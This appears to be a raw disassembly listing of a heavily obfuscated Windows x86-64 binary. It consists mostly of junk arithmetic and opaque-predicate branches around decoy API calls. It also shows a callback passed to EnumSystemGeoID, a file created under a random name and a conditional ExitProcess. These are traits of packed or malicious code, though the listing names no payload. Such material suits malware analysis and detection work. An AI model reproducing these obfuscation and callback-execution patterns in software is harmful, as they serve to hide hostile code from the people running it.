mov r8d, dword [rsp + 0xb4]
mov edx, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0x94]
call fcn.140054e30
jmp 0x14000ead9
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
add rax, qword [rsp + 0x120]
mov rcx, qword [0x1400fd128]
mov rdx, qword [rsp + 0x1f0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14000eab3
movabs rax, 0x7bb8185c1d0466
mov rcx, qword [rsp + 0x1a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
add eax, ecx
mov byte [rsp + 0x50], al
jmp 0x14000ead9
movzx r9d, word [rsp + 0x5c]
mov r8, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x2f0]
movzx ecx, byte [rax]
call fcn.140053450
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
imul eax, ecx
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0xb4]
movzx ecx, al
mov eax, dword [rsp + 0x94]
sar eax, cl
mov dword [rsp + 0xa4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x523
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x20c4], 0xd70b
lea rax, [rsp + 0x54]
mov qword [rsp + 0x278], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0x20cc], 0xd715
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
cmp eax, dword [rcx]
je 0x140052d68
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [str._aMl]
cmp eax, ecx
jne 0x14000ebfc
movzx eax, word [rsp + 0x5c]
and eax, 0x239
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x120]
movzx ecx, al
mov rax, qword [0x1400fd128]
sar rax, cl
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x5c]
sub eax, 0x19
mov word [rsp + 0x5c], ax
movzx edx, byte [rsp + 0x50]
mov ecx, dword [rsp + 0x94]
call fcn.1400541f0
jmp 0x14000ed64
movsx eax, byte [str._aMl]
movsx ecx, byte [rsp + 0x50]
imul eax, ecx
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x14000ec46
lea r9, [rsp + 0x5c]
lea r8, [rsp + 0x120]
mov edx, 0xf0
mov rcx, qword [rsp + 0x4420]
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov dword [rsp + 0xc8], eax
jmp 0x14000ed64
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x51]
movzx edx, byte [rsp + 0x58]
add ecx, edx
cmp eax, ecx
jne 0x14000ecbb
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x54]
mov r8d, dword [rsp + 0xb8]
mov edx, dword [rsp + 0xb8]
movzx ecx, word [rsp + 0x64]
call fcn.140053240
jmp 0x14000ed64
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [0x1400fd130], ax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0xa4]
jl 0x14000ed41
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0x94]
movzx ecx, al
mov eax, dword [rsp + 0xa4]
shl eax, cl
mov dword [rsp + 0xb4], eax
mov dword [rsp + 0x20b8], 0xb8c5
mov dword [rsp + 0x20b4], 0x81a5
lea rax, [rsp + 0x58]
mov qword [rsp + 0x358], rax
movabs rax, 0x7506401d701bf7
cmp qword [rsp + 0x1a8], rax
ja 0x14000edf6
mov ecx, 0x5a
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1e8]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x14000ee65
lea rax, [rsp + 0x54]
mov qword [rsp + 0x2f8], rax
mov eax, dword [rsp + 0xa4]
movzx ecx, al
mov eax, dword [rsp + 0x94]
sar eax, cl
mov dword [0x1400fc384], eax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x320], rax
jmp 0x14000eeef
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
imul ecx, dword [rax]
mov eax, ecx
mov ecx, dword [rsp + 0xc8]
mov edx, dword [rsp + 0xa0]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000eea6
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
and eax, 0x4ce
mov word [rsp + 0x5c], ax
jmp 0x14000eeef
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov byte [rsp + 0x50], al
movabs rax, 0x758ceaa1e4e2d2
mov rcx, qword [rsp + 0x1a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
xor eax, ecx
mov rcx, qword [rsp + 0x2f8]
mov word [rcx], ax
mov dword [rsp + 0x20c0], 0xb02a
movzx eax, word [rsp + 0x5c]
or eax, 0x312
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
cmp eax, ecx
jge 0x14000efd4
lea rdx, [rsp + 0x1a8]
mov cl, 0xf8
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
mov dword [rsp + 0x1100], eax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x94]
movzx edx, byte [rsp + 0x50]
mov ecx, dword [rsp + 0xc8]
call fcn.1400533f0
movzx eax, word [rsp + 0x5c]
add eax, 0xdb5
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x190]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x100]
movzx r8d, byte [rax]
movzx edx, word [rsp + 0x5c]
movzx ecx, word [0x1400fd130]
call fcn.140053dc0
jmp 0x14000f13e
mov eax, dword [rsp + 0xb4]
movzx ecx, al
mov eax, dword [rsp + 0x94]
shl eax, cl
mov ecx, dword [rsp + 0xa4]
mov edx, dword [0x1400fc384]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14000f06b
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x200]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd128], rax
lea r8, [fcn.1400541f0]
mov edx, 0xb9
mov ecx, 0x87
call qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
mov dword [rsp + 0x278c], eax
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x94]
call fcn.1400541f0
movzx eax, word [rsp + 0x5c]
add eax, 0xbd9
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
jmp 0x14000f13e
mov rax, qword [0x1400fd128]
mov qword [rsp + 0x1f8], rax
movabs rax, 0x72e3771604e33c
mov rcx, qword [rsp + 0x1a8]
and rcx, rax
mov rax, rcx
movabs rcx, 0x791375ac587ac1
cmp rax, rcx
jbe 0x14000f0e2
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
sub eax, 0xb70
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x358]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x358]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x1a8]
call fcn.140053be0
jmp 0x14000f13e
xor edx, edx
mov eax, dword [rsp + 0xa0]
div dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd8]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x14000f10d
jmp 0x14000f13e
movzx eax, word [rsp + 0x5c]
add eax, 0xd0d
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
cmp eax, ecx
jg 0x14000f13e
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0xa4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
shl eax, 0xf2
movzx ecx, word [rsp + 0x5c]
cmp eax, ecx
jne 0x14000f27b
lea rax, [rsp + 0x58]
mov qword [rsp + 0x2e8], rax
movsx eax, word [rsp + 0x64]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sar eax, cl
movsx ecx, word [rsp + 0x54]
movsx edx, word [0x1400fd130]
add ecx, edx
cmp eax, ecx
jne 0x14000f1e6
mov rcx, qword [rsp + 0x2e78]
call qword [sym.imp.GDI32.dll_GetTextColor]
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xa0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov r9, qword [rsp + 0x120]
mov r8, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0xd8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x94]
call fcn.140054450
jmp 0x14000f276
movsx eax, byte [str._aMl]
movsx ecx, byte [rsp + 0x50]
cdq
idiv ecx
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x14000f243
movabs rax, 0x709a9eebcc2c1d
mov rcx, qword [rsp + 0x1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
movzx r8d, byte [rsp + 0x58]
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x94]
call fcn.1400534d0
jmp 0x14000f276
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3534], eax
xor edx, edx
mov eax, dword [rsp + 0xa0]
div dword [rsp + 0xb8]
mov ecx, dword [rsp + 0x3534]
jmp 0x14000f361
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x200]
mov rdx, qword [0x1400fd128]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jle 0x14000f2ef
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
and eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x54]
sar eax, cl
mov rcx, qword [rsp + 0x2f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x64]
movsx ecx, word [0x1400fd130]
shl eax, cl
mov word [rsp + 0x54], ax
jmp 0x14000f361
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.GDI32.dll_UpdateColors]
mov dword [rsp + 0x2790], eax
call fcn.1400544e0
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x5c]
xor eax, 0x99e
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x1a8]
call fcn.140054d10
mov r9d, 2
xor r8d, r8d
mov edx, 0x9f0e
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movabs rax, 0x78c7690d4c046a
mov rcx, qword [rsp + 0x1a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x64]
and eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x1b0], rax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
imul eax, ecx
movsx ecx, byte [rsp + 0x50]
cmp eax, ecx
jg 0x14000f43e
mov rax, qword [rsp + 0x1a8]
shl rax, 0x2f
mov qword [rsp + 0x338], rax
mov rcx, qword [rsp + 0x2318]
call qword [sym.imp.GDI32.dll_RemoveFontResourceW]
mov dword [rsp + 0x20d4], eax
movzx edx, byte [str._aMl]
mov ecx, dword [rsp + 0x94]
call fcn.140053ce0
jmp 0x140052cbe
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x51]
sar eax, cl
movzx ecx, byte [rsp + 0x58]
mov rdx, qword [rsp + 0x2f0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14000f4fa
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xa0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0xb4]
mov r8d, dword [rsp + 0xb4]
mov edx, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
call fcn.140053080
mov rcx, qword [rsp + 0x5b58]
call qword [sym.imp.GDI32.dll_RemoveFontMemResourceEx]
mov dword [rsp + 0x20d4], eax
jmp 0x140052cbe
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov dword [rsp + 0x352c], eax
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x51]
mov dword [rsp + 0x3530], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x3530]
idiv ecx
mov ecx, dword [rsp + 0x352c]
cmp ecx, eax
jl 0x140052cbe
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0x70], ax
mov dword [rsp + 0x20b0], 0x3397
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x64]
sub ecx, edx
cmp eax, ecx
je 0x14000f726
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xa4]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb4]
mov edx, dword [0x1400fc384]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14000f68d
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
xor eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x2f8]
movzx eax, word [rax]
mov word [rsp + 0x78], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.sg0xZb3S_vAfBWvROb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x1f8]
movzx ecx, al
mov rax, qword [rsp + 0x1f0]
sar rax, cl
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x14000f716
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x51]
and eax, ecx
mov dword [rsp + 0x3524], eax
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x58]
mov dword [rsp + 0x3528], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x3528]
idiv ecx
mov ecx, dword [rsp + 0x3524]
cmp ecx, eax
jg 0x14000f6e8
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
jmp 0x14000f716
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0xb4]
mov r8d, dword [rsp + 0xa4]
mov edx, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
call fcn.140053ca0
mov dword [rsp + 0x20ac], 0x8ca4
jmp 0x14000f825
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [str._aMl]
cmp eax, ecx
je 0x14000f7bf
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8], eax
movabs rax, 0x7220614082a7b0
mov rcx, qword [rsp + 0x1a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
sar eax, cl
mov word [rsp + 0x5c], ax
mov r9, qword [rsp + 0x338]
mov r8d, dword [rsp + 0xc4]
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
movzx ecx, byte [str._aMl]
call fcn.1400538c0
jmp 0x14000f825
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
lea r8, [rsp + 0x2d28]
mov rdx, qword [rsp + 0x5428]
mov rcx, qword [rsp + 0x2e78]
call qword [sym.imp.GDI32.dll_PlayEnhMetaFile]
mov dword [rsp + 0x1100], eax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x60], al
cmp dword [rsp + 0x20ac], 0x856c
jbe 0x14000fd88
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6ae2
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xc4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
xor eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x78], ax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
add eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [0x1400fd128]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
add eax, ecx
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x5c]
movzx ecx, word [rsp + 0x70]
sar eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x4380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4380]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3c1c
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0xb4]
xor ecx, eax
mov eax, ecx
mov dword [0x1400fc384], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x58]
sar eax, cl
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x94]
mov ecx, dword [0x1400fc384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x78], ax
mov eax, dword [rsp + 0x20ac]
sub eax, 0x2a
mov dword [rsp + 0x20ac], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [0x1400fd128]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6b3
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rax, qword [rsp + 0x338]
shr rax, 0xa
mov qword [rsp + 0x1a8], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
movsx eax, word [rsp + 0x78]
movsx ecx, word [rsp + 0x64]
add eax, ecx
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
or eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
xor eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0x4388], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4388]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbc6
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
sub eax, ecx
mov word [rsp + 0x64], ax
mov eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x4390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4390]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb8], eax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
add eax, ecx
mov byte [rsp + 0x50], al
movabs rax, 0x7600bb867fc4ca
mov rcx, qword [rsp + 0x1a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1fd5
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x2f0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
movsx eax, word [rsp + 0x78]
movsx ecx, word [rsp + 0x64]
sub eax, ecx
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x1f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x6c]
sar eax, cl
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
xor eax, ecx
mov word [rsp + 0x5c], ax
jmp 0x14000f83b
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
shl eax, cl
movzx ecx, word [rsp + 0x6c]
movzx edx, word [rsp + 0x70]
sub ecx, edx
cmp eax, ecx
jne 0x140052bf7
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x2b0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xa2a3
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x54]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd130], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x6c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x320]
